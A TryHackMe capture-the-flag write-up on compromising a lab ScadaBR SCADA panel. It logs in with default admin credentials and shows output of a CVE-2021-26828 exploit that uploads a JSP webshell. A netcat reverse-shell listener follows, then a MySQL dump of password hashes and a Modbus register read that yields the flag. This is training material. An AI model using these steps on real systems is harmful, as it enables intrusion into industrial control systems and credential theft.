Challenge: Brr (TryHackMe)

Link to the challenge on TryHackMe: Brr
The cold never lies, but the SCADA panel guarding it just handed you the keys. Chase the chill all the way down.
Note: The VM takes about 3 minutes to boot up.
Answer the questions below
What's the flag?
nmap -p- -sV IP_Address
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http WebSockify Python/3.12.3
5020/tcp open zenginkyo-1?
5901/tcp open vnc VNC (protocol 3.8)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
gobuster dir -u http://IP_Address:8080 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
gobuster dir -u http://IP_Address:8080 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
/index.html (Status: 200) [Size: 236]
/index.html (Status: 200) [Size: 236]
root@ip-10-114-120-58:~# curl http://IP_Address:8080/index.html
<!DOCTYPE html>
<html>
<head>
<title>ScadaBR CTF</title>
<meta http-equiv="refresh" content="3; URL=/ScadaBR" />
</head>
<body>
<h1>Welcome to ScadaBR CTF</h1>
<p>Redirecting you to <code>/ScadaBR</code>...</p>
</body>
</html>
curl http://IP_Address:8080/ScanaBR
<html><head><title>Apache Tomcat/7.0.68 (Ubuntu) - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /ScanaBR</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/ScanaBR</u></p><p><b>description</b> <u>The requested resource is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/7.0.68 (Ubuntu)</h3></body></html>
root@ip-10-114-120-58:~# curl -i http://IP_Address:8080/ScadaBR/login.htm
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A74C374983F8D53C49C938D75A65F6FF; Path=/ScadaBR/; HttpOnly
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Sat, 11 Jul 2026 17:53:44 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<title>
ScadaBR (powered by Mango M2M)
</title>
<!-- Meta -->
<meta http-equiv="content-type" content="application/xhtml+xml;charset=utf-8"/>
<meta http-equiv="Content-Style-Type" content="text/css" />
<meta name="Copyright" content="ScadaBR ©©2009-2010 Fundação Certi, MCA Sistemas, Unis Sistemas, Conetec, Todos os direitos reservados."/>
<meta name="DESCRIPTION" content="ScadaBR Software"/>
<meta name="KEYWORDS" content="ScadaBR Software"/>
<!-- Style -->
<link rel="icon" href="images/favicon.ico"/>
<link rel="shortcut icon" href="images/favicon.ico"/>
<link href="resources/common.css" type="text/css" rel="stylesheet"/>
<!-- Scripts -->
<script type="text/javascript">var djConfig = { isDebug: false, extraLocale: ['en-us', 'nl', 'nl-nl', 'ja-jp', 'fi-fi', 'sv-se', 'zh-cn', 'zh-tw','xx'] };</script>
<!-- script type="text/javascript" src="http://o.aolcdn.com/dojo/0.4.2/dojo.js"></script -->
<script type="text/javascript" src="resources/dojo/dojo.js"></script>
<script type="text/javascript" src="dwr/engine.js"></script>
<script type="text/javascript" src="dwr/util.js"></script>
<script type="text/javascript" src="dwr/interface/MiscDwr.js"></script>
<script type="text/javascript" src="resources/soundmanager2-nodebug-jsmin.js"></script>
<script type="text/javascript" src="resources/common.js"></script>
<script type="text/javascript">
mango.i18n = function() {return {'common.alarmLevel.lifeSafety':"Life safety",'common.disabled':"Disabled",'header.mute':"Mute",'header.unmute':"Unmute",'common.alarmLevel.critical':"Critical",'js.help.loading':"Loading...",'js.help.related':"Related items",'js.disabledCed':"Disabled compound event detector",'js.help.lastUpdated':"Last updated",'js.email.addAddress':"Add address",'js.disabledSe':"Disabled scheduled event",'scheduledEvents.se':"Scheduled event",'js.help.error':"Error",'js.email.addUser':"Add user",'js.email.addMailingList':"Add mailing list",'js.email.noRecipForEmail':"No recipients to which to send test email",'common.access.set':"set",'common.access.read':"read",'common.sendTestEmail':"Send test email",'pointLinks.pointLink':"Point link",'js.disabledPointLink':"Disabled point link",'compoundDetectors.compoundEventDetector':"Compound event detector",'common.disabledToggle':"Disabled - click to enable",'common.alarmLevel.none':"None",'common.administrator':"Administrator",'common.enabledToggle':"Enabled - click to disable",'common.alarmLevel.urgent':"Urgent",'common.minimize':"Minimize",'js.email.noRecipients':"No recipients",'common.user':"User",'events.silence':"Silence",'js.email.testSent':"Test email has been sent",'common.maximize':"Maximize",'events.unsilence':"Unsilence",'common.alarmLevel.info':"Information"};}();
</script>
<script type="text/javascript" src="resources/header.js"></script>
<script type="text/javascript">
dwr.util.setEscapeHtml(false);
function setLocale(locale) {
MiscDwr.setLocale(locale, function() { window.location = window.location });
}
function setHomeUrl() {
MiscDwr.setHomeUrl(window.location.href, function() { alert("Home URL saved"); });
}
function goHomeUrl() {
MiscDwr.getHomeUrl(function(loc) { window.location = loc; });
}
</script>
</head>
<body>
<table width="100%" cellspacing="0" cellpadding="0" border="0" id="mainHeader">
<tr>
<td><img src="images/mangoLogoMed.jpg" alt="Logo"/></td>
<td align="center" width="99%">
<a href="events.shtm">
<span id="__header__alarmLevelDiv" style="display:none;">
<img id="__header__alarmLevelImg" src="images/spacer.gif" alt="" border="0" title=""/>
<span id="__header__alarmLevelText"></span>
</span>
</a>
</td>
<td align="right" valign="bottom" class="smallTitle" style="padding:5px; white-space: nowrap;">ScadaBR (powered by Mango M2M)</td>
</tr>
</table>
<table width="100%" cellspacing="0" cellpadding="0" border="0" id="subHeader">
<tr>
<td style="cursor:default" >
<a href="login.htm"><img src="images/control_play_blue.png" onmouseover="if (typeof hMD == 'function') hMD('Login', this);" onmouseout="if (typeof hMD == 'function') hMD();" border="0"/></a>
<div id="headerMenuDescription" class="labelDiv" style="position:absolute;display:none;"></div>
</td>
<td align="right">
<div style="display:inline;" onmouseover="showMenu('localeEdit', -40, 10);">
<img src="images/world.png" alt="Change language" title="Change language" border="0"/>
<div id="localeEdit" style="visibility:hidden;left:0px;top:15px;" class="labelDiv" onmouseout="hideLayer(this)">
<a class="ptr" onclick="setLocale('de')">Deutsch</a><br/>
<a class="ptr" onclick="setLocale('pt')">Português</a><br/>
<a class="ptr" onclick="setLocale('en')">English</a><br/>
<a class="ptr" onclick="setLocale('nl')">Nederlands</a><br/>
<a class="ptr" onclick="setLocale('zh')">中文</a><br/>
</div>
</div>
</td>
</tr>
</table>
<div style="padding:5px;">
<script type="text/javascript">
compatible = false;
function setFocus() {
$("username").focus();
BrowserDetect.init();
$set("browser", BrowserDetect.browser +" "+ BrowserDetect.version +" on "+ BrowserDetect.OS);
if (checkCombo(BrowserDetect.browser, BrowserDetect.version, BrowserDetect.OS)) {
$("browserImg").src = "images/accept.png";
show("okMsg");
compatible = true;
}
else {
$("browserImg").src = "images/thumb_down.png";
show("warnMsg");
}
}
function nag() {
if (!compatible)
alert('NOTE: you may have problems with ScadaBR because your browser is not officially supported. Please upgrade your browser. ');
}
</script>
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td>
<form action="login.htm" method="post" onclick="nag()">
<table>
<tr>
<td class="formLabelRequired">User id</td>
<td class="formField">
<input id="username" type="text" name="username" value="" maxlength="40"/>
</td>
<td class="formError"></td>
</tr>
<tr>
<td class="formLabelRequired">Password</td>
<td class="formField">
<input id="password" type="password" name="password" value="" maxlength="20"/>
</td>
<td class="formError"></td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" value="Login"/>
<img src="images/help.png" alt="Help" title="Help" class="ptr" onclick="help('welcomeToMango', this);" style="display:inline" border="0"/>
</td>
<td></td>
</tr>
</table>
</form>
<br/>
</td>
<td valign="top">
<table>
<tr>
<td valign="top"><img id="browserImg" src="images/magnifier.png"/></td>
<td><b><span id="browser">Checking your browser for compatibility...</span></b></td>
</tr>
<tr>
<td valign="top" colspan="2">
<span id="okMsg" style="display:none">This browser is supported.</span>
<span id="warnMsg" style="display:none">Your browser may work with this product, but is not officially supported by Serotonin Software. We instead recommend the use of <a href="http://www.mozilla.com/" target="_blank">Firefox</a>, Chrome, or Internet Explorer 7.</span>
</td>
</tr>
</table>
<br/><br/>
</td>
</tr>
</table>
</div>
<table width="100%" cellspacing="0" cellpadding="0" border="0">
<tr><td colspan="2"> </td></tr>
<tr>
<td colspan="2" class="footer" align="center">©2009-2010 Fundação Certi, MCA Sistemas, Unis Sistemas, Conetec., all rights reserved</td>
</tr>
</table>
<script type="text/javascript">dojo.addOnLoad(setFocus);</script>
</body>
</html>
gobuster dir -u http://IP_Address:8080/ScadaBR/ -w /usr/share/wordlists/dirb/common.txt -x jsp,htm
/audio (Status: 302) [Size: 0] [--> /ScadaBR/audio/]
/chart (Status: 500) [Size: 154523]
/dwr (Status: 302) [Size: 0] [--> /ScadaBR/dwr/index.html]
/export (Status: 500) [Size: 154656]
/graphics (Status: 302) [Size: 0] [--> /ScadaBR/graphics/]
/images (Status: 302) [Size: 0] [--> /ScadaBR/images/]
/index.jsp (Status: 200) [Size: 884]
/login.htm (Status: 200) [Size: 9005]
/logout.htm (Status: 302) [Size: 0] [--> login.htm;jsessionid=09BCE551F2484389866E3B126E495956]
/resources (Status: 302) [Size: 0] [--> /ScadaBR/resources/]
/services (Status: 200) [Size: 745]
/uploads (Status: 302) [Size: 0] [--> /ScadaBR/uploads/]
/wsdl (Status: 302) [Size: 0]
/audio/lib
gobuster dir -u http://IP_Address:8080/ScadaBR/dwr -w /usr/share/wordlists/dirb/common.txt -x jsp,htm
/about (Status: 200) [Size: 207]
/about.jsp (Status: 200) [Size: 207]
/about_us (Status: 200) [Size: 207]
/about_us.jsp (Status: 200) [Size: 207]
/aboutus.jsp (Status: 200) [Size: 207]
/about-us (Status: 200) [Size: 207]
/about-us.htm (Status: 200) [Size: 207]
/aboutus.htm (Status: 200) [Size: 207]
/about-us.jsp (Status: 200) [Size: 207]
/about_us.htm (Status: 200) [Size: 207]
/about.htm (Status: 200) [Size: 207]
/aboutus (Status: 200) [Size: 207]
/auth.jsp (Status: 200) [Size: 7937]
/engine.jsp (Status: 200) [Size: 44127]
/index.html (Status: 200) [Size: 2669]
/index.html.htm (Status: 200) [Size: 2669]
/index.html.jsp (Status: 200) [Size: 2669]
/util.jsp (Status: 200) [Size: 46197]
curl http://IP_Address:8080/ScadaBR/index.jsp
<html>
<head>
<title>ScadaBR (powered by Mango)</title>
<meta http-equiv="content-type" content="application/xhtml+xml;charset=utf-8"/>
<meta http-equiv="Content-Style-Type" content="text/css" />
<meta name="Copyright" content="©�2009-2010 Funda��o Certi, MCA Sistemas, Unis Sistemas, Conetec, Todos os direitos reservados."/>
<meta name="DESCRIPTION" content="ScadaBR Software"/>
<meta name="KEYWORDS" content="ScadaBR Software"/>
<link href="resources/common.css" type="text/css" rel="stylesheet"/>
<link rel="icon" href="images/favicon.ico"/>
<link rel="shortcut icon" href="images/favicon.ico"/>
</head>
<body>
<script language="JavaScript">window.location="login.htm";</script>
<a style="font-size: 13px; color: #414042 font-family: Verdana, Arial, Helvetica, sans-serif;" href="login.htm">ScadaBR (powered by Mango)</a>
</body>
</html>
curl http://IP_Address:8080/ScadaBR/dwr/index.html
<html>
<head><title>DWR Test Index</title></head>
<body>
<h2>Classes known to DWR:</h2>
<ul>
<li><a href='/ScadaBR/dwr/test/WatchListDwr'>WatchListDwr</a> (com.serotonin.mango.web.dwr.WatchListDwr)</li>
<li><a href='/ScadaBR/dwr/test/DataSourceEditDwr'>DataSourceEditDwr</a> (com.serotonin.mango.web.dwr.DataSourceEditDwr)</li>
<li><a href='/ScadaBR/dwr/test/EmportDwr'>EmportDwr</a> (com.serotonin.mango.web.dwr.EmportDwr)</li>
<li><a href='/ScadaBR/dwr/test/EventHandlersDwr'>EventHandlersDwr</a> (com.serotonin.mango.web.dwr.EventHandlersDwr)</li>
<li><a href='/ScadaBR/dwr/test/CompoundEventsDwr'>CompoundEventsDwr</a> (com.serotonin.mango.web.dwr.CompoundEventsDwr)</li>
<li><a href='/ScadaBR/dwr/test/ScheduledEventsDwr'>ScheduledEventsDwr</a> (com.serotonin.mango.web.dwr.ScheduledEventsDwr)</li>
<li><a href='/ScadaBR/dwr/test/MailingListsDwr'>MailingListsDwr</a> (com.serotonin.mango.web.dwr.MailingListsDwr)</li>
<li><a href='/ScadaBR/dwr/test/DataSourceListDwr'>DataSourceListDwr</a> (com.serotonin.mango.web.dwr.DataSourceListDwr)</li>
<li><a href='/ScadaBR/dwr/test/ViewDwr'>ViewDwr</a> (com.serotonin.mango.web.dwr.ViewDwr)</li>
<li><a href='/ScadaBR/dwr/test/UsersDwr'>UsersDwr</a> (com.serotonin.mango.web.dwr.UsersDwr)</li>
<li><a href='/ScadaBR/dwr/test/DataPointDetailsDwr'>DataPointDetailsDwr</a> (com.serotonin.mango.web.dwr.DataPointDetailsDwr)</li>
<li><a href='/ScadaBR/dwr/test/PointHierarchyDwr'>PointHierarchyDwr</a> (com.serotonin.mango.web.dwr.PointHierarchyDwr)</li>
<li><a href='/ScadaBR/dwr/test/PublisherListDwr'>PublisherListDwr</a> (com.serotonin.mango.web.dwr.PublisherListDwr)</li>
<li><a href='/ScadaBR/dwr/test/SystemSettingsDwr'>SystemSettingsDwr</a> (com.serotonin.mango.web.dwr.SystemSettingsDwr)</li>
<li><a href='/ScadaBR/dwr/test/PublisherEditDwr'>PublisherEditDwr</a> (com.serotonin.mango.web.dwr.PublisherEditDwr)</li>
<li><a href='/ScadaBR/dwr/test/EventsDwr'>EventsDwr</a> (com.serotonin.mango.web.dwr.EventsDwr)</li>
<li><a href='/ScadaBR/dwr/test/MaintenanceEventsDwr'>MaintenanceEventsDwr</a> (com.serotonin.mango.web.dwr.MaintenanceEventsDwr)</li>
<li><a href='/ScadaBR/dwr/test/PointLinksDwr'>PointLinksDwr</a> (com.serotonin.mango.web.dwr.PointLinksDwr)</li>
<li><a href='/ScadaBR/dwr/test/DataPointEditDwr'>DataPointEditDwr</a> (com.serotonin.mango.web.dwr.DataPointEditDwr)</li>
<li><a href='/ScadaBR/dwr/test/MiscDwr'>MiscDwr</a> (com.serotonin.mango.web.dwr.MiscDwr)</li>
<li><a href='/ScadaBR/dwr/test/ReportsDwr'>ReportsDwr</a> (com.serotonin.mango.web.dwr.ReportsDwr)</li>
<li><a href='/ScadaBR/dwr/test/CustomViewDwr'>CustomViewDwr</a> (com.serotonin.mango.web.dwr.CustomViewDwr)</li>
</ul>
</body></html>
curl -i -X POST http://IP_Address:8080/ScadaBR/login.htm \
--data 'username=admin&password=admin' \
-c cookies.txt
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=69649DF9B703ABF0B7BF1EAB09F3A09F; Path=/ScadaBR/; HttpOnly
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Location: watch_list.shtm;jsessionid=69649DF9B703ABF0B7BF1EAB09F3A09F
Content-Language: en-US
Content-Length: 0
Date: Sat, 11 Jul 2026 18:08:58 GMT
y3-none-any.whl (144 kB)
|################################| 144 kB 43.1 MB/s
Collecting chardet<5,>=3.0.2; python_version < "3"
Downloading chardet-4.0.0-py2.py3-none-any.whl (178 kB)
|################################| 178 kB 39.3 MB/s
Collecting idna<3,>=2.5; python_version < "3"
Downloading idna-2.10-py2.py3-none-any.whl (58 kB)
|################################| 58 kB 6.1 MB/s
Installing collected packages: certifi, urllib3, chardet, idna, requests
Successfully installed certifi-2021.10.8 chardet-4.0.0 idna-2.10 requests-2.27.1 urllib3-1.26.20
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
| _________ .___ ____________________ |
| / _____/ ____ _____ __| _/____ \______ \______ \ |
| \_____ \_/ ___\__ \ / __ |\__ \ | | _/| _/ |
| / \ \___ / __ \_/ /_/ | / __ \| | \| | \ |
| /_______ /\___ >____ /\____ |(____ /______ /|____|_ / |
| \/ \/ \/ \/ \/ \/ \/ |
| |
| > ScadaBR 1.0 ~ 1.1 CE Arbitrary File Upload (CVE-2021-26828) |
| > Exploit Author : Fellipe Oliveira |
| > Exploit for Linux Systems |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
[+] Trying to authenticate http://IP_Address:8080/ScadaBR/login.htm...
[+] Successfully authenticated! :D~
[>] Attempting to upload .jsp Webshell...
[>] Verifying shell upload...
[+] Upload Successfuly!
[+] Webshell Found in: http://IP_Address:8080/ScadaBR/uploads/1.jsp
[>] Spawning Reverse Shell...
[+] Connection received
nc -vnlp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 34956
whoami
tomcat7
id
uid=107(tomcat7) gid=110(tomcat7) groups=110(tomcat7),20(dialout)
hostname
77f992b1ebf5
ls
bin
common
conf
logs
server
shared
webapps
work
ls -la /work
ls -la work
lrwxrwxrwx 1 tomcat7 tomcat7 19 Jun 27 2016 work -> ../../cache/tomcat7
ls -la webapps
total 30396
drwxrwxr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 .
drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 ..
drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 ROOT
drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 ScadaBR
-rw-r--r-- 1 tomcat7 tomcat7 31096085 Apr 22 2018 ScadaBR.war
ls -la webapps/ROOT
total 20
drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 .
drwxrwxr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 ..
drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 META-INF
-rw-r--r-- 1 1000 1000 236 Jun 10 2025 index.html
ls -la webapps/ROOT/META-INF
total 12
drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 .
drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 ..
-rw-r--r-- 1 tomcat7 tomcat7 51 Apr 22 2018 context.xml
ls -la shared
total 16
drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 .
drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 ..
drwxr-xr-x 1 tomcat7 tomcat7 4096 Jun 27 2016 classes
mysql -u scadabr -pscadabr -h localhost scadabr -e "select username,password,admin from users;"
select username,password,admin from users;"dabr -e "
+----------+------------------------------+-------+
| username | password | admin |
+----------+------------------------------+-------+
| admin | 0DPiKuNIrrVmD8IUCuw1hQxNqZc= | Y |
+----------+------------------------------+-------+
python3 /tmp/modbus_read.py plc 5020 1 0 20
python3 /tmp/modbus_read.py plc 5020 1 0 20
Raw registers:
0 ==> 0054
1 ==> 0048
2 ==> 004d
3 ==> 007b
4 ==> 006d
5 ==> 006f
6 ==> 0064
7 ==> 0062
8 ==> 0075
9 ==> 0073
10 ==> 005f
11 ==> 0068
12 ==> 0069
13 ==> 0064
14 ==> 007d
15 ==> 0000
16 ==> 0000
17 ==> 0000
18 ==> 0000
19 ==> 0000
As ASCII (low byte of each register):
THM{modbus_hredacted}
As ASCII (high byte of each register):
I struggled towards the end, and this walkthrough on YouTube was helpful, though it wasn't so easy coz I wasn't following the same route as him





